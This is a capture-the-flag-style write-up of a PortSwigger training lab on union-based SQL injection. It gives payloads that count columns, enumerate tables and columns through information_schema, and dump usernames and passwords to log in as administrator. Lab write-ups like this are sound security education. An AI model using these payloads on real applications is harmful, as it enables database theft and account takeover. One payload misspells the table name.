Skip to main content

🗂️PortSwigger Lab Writeup: SQL Injection Attack - Listing the Database Contents on Non-Oracle Databases

Lab introduction for SQL Injection to list database contents on non-Oracle databases

🎯 Objective​

The objective of this lab is to exploit a Union-based SQL injection vulnerability in a web application where the application executes a SQL query with user-supplied input in unsafe way to filter the products and our goal is to enumerate the database tables and columns, and extract all usernames and passwords from the relevant table to log in as administrator.

  • Lab URL: https://portswigger.net/web-security/sql-injection/union-attacks/lab-listing-database-contents-non-oracle
  • Category: SQL Injection
  • Difficulty: Practitioner

💉 Payloads Used​

1. For determining no of columns​

  • Payload 1 - ✅
Pets'+UNION+SELECT+NULL,NULL--

2. For determining tables in database​

  • Payload 2 - ✅
Pets'+UNION+SELECT+NULL,TABLE_NAME+FROM+information_schema.tables--

3. For determining columns in user table​

  • Payload 3 - ✅
Pets'+UNION+SELECT+NULL,COLUMN_NAME+FROM+information_schema.columns+WHERE+TABLE_NAME='users_vkhaua'--

4. For extracting usernames and passwords​

  • Payload 4 - ✅
Pets'+UNION+SELECT+username_qbwvmr,password_rsjdtv+FROM+users_vkhaua--

🧪 Exploitation Steps​

🕵️Step 1: Observe the Website​

  • Firstly open the lab URL in your browser, and observe what it is about and how it works. Homepage of vulnerable shopping site with product categories and filters
    Login page of the target application showing username and password fields
  • At first glance, the website seems to be a shopping website with an option to filter products on different categories and also there is a login page. In the lab description, it is mentioned that the vulnerability is in the filter parameter which is being used directly in a SQL query.

🔍Step 2: Find the Vulnerable Endpoint​

  • Click on any one of the filter to see how website behaves and where the filter parameter is passed to server. URL with vulnerable category parameter for SQL injection
  • Here, the site filters the products by supplying the category name in URL - /filter?category=...

🧮Step 3: Determine the columns​

  • Based on my initial observation of the website, it seems that the application is returning two columns, but still we will verify the the no of columns by using payload - Pets'+UNION+SELECT+NULL,NULL-- Response confirming two-column output using UNION SELECT NULL,NULL payload
  • Hence, it is confirmed that the application is returning two columns and both are of string datatype

🧭Step 4: Retrieve the Credentials​

  • In order to retrieve the usernames and passwords stored, we need to know in which table it is stored and its exact column names.
  • For determining the users table name in database, we will use payload - Pets'+UNION+SELECT+NULL,TABLE_NAME+FROM+information_schema.tables-- which will list all the tables in the database. Database table names enumerated using information_schema.tables payload
    Additional database table names retrieved from SQL injection response
  • Hence, it successfully returned all the table names and now we know that our users table is -users_vkhaua
  • Now, we will determine the exact columns of this table by using payload - Pets'+UNION+SELECT+NULL,COLUMN_NAME+FROM+information_schema.columns+WHERE+TABLE_NAME='users_vkaua'-- Database column names for users table enumerated using information_schema.columns payload
  • Now as we know the column name and table name storing user records , we can now enumerate the user records from the table to obtain login credentials of administrator
  • For retrieving all the user records, we will use the payload - Pets'+UNION+SELECT+username_qbwvmr,password_rsjdtv+FROM+users_vkhaua-- Usernames and passwords extracted from users table via SQL injection
  • Hence, it successfully returned all the user records including the administrator in the response.

🧑‍💼Step 5: Log in as Administrator​

  • Finally, open the login page in new tab and copy paste the credentials of administrator to log in.
  • And💥Booom!, We got the access of Admin account on the website. Successful admin login after retrieving credentials via SQL injection
  • And Finally, the Lab is solved.

🧠 Conclusion​

  • This lab involves a basic case of SQL injection vulnerability, where the category parameter is used to filter products and the application directly concatenates the user-supplied input into a SQL query without validation or sanitization.
  • Since the application neither validates the user input nor uses prepared statements, it becomes vulnerable to SQL injection. This allowed us to manipulate the SQL query by injecting arbitrary SQL commands and gain full access to the database.
  • By systematically crafting and testing SQL payloads:
    • We identified the number of columns being returned.
    • Extracted the list of tables using information_schema.tables.
    • Discovered the relevant user table and column names.
    • Retrieved sensitive data including all usernames and passwords from the database.
    • Finally, we used those credentials to log in as the administrator, gaining complete control over the application.